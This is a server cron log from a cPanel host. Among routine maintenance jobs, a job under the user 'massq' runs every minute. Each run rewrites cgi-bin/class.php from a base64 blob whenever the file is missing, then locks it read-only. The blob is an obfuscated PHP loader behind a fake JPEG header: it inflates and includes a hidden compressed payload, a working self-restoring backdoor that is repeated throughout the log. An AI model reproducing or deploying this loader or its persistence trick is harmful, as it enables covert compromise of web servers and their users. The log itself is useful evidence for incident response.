Sep  5 13:22:01 server CROND[27762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:23:01 server CROND[28128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:23:01 server CROND[28129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:23:01 server CROND[28130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:24:01 server CROND[28499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:24:01 server CROND[28500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:24:01 server CROND[28501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:25:01 server CROND[28879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:25:01 server CROND[28881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:25:01 server CROND[28882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:25:01 server CROND[28884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:25:01 server CROND[28885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:25:01 server CROND[28883]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:25:01 server CROND[28886]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:26:01 server CROND[29800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:26:01 server CROND[29801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:26:01 server CROND[29802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:27:01 server CROND[30175]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:27:01 server CROND[30176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:27:01 server CROND[30177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:27:01 server CROND[30178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:28:01 server CROND[30544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:28:01 server CROND[30545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:28:01 server CROND[30546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:29:01 server CROND[30907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:29:01 server CROND[30908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:29:01 server CROND[30910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:30:01 server CROND[31280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:30:01 server CROND[31284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:30:01 server CROND[31291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:30:01 server CROND[31295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:30:01 server CROND[31293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:30:01 server CROND[31294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:30:01 server CROND[31297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:30:01 server CROND[31300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:31:01 server CROND[32203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:31:01 server CROND[32204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:31:01 server CROND[32205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:32:01 server CROND[32579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:32:01 server CROND[32580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:32:01 server CROND[32581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:33:01 server CROND[508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:33:01 server CROND[509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:33:01 server CROND[510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:34:01 server CROND[912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:34:01 server CROND[913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:34:01 server CROND[914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:35:01 server CROND[1382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:35:01 server CROND[1384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:35:01 server CROND[1399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:35:01 server CROND[1403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
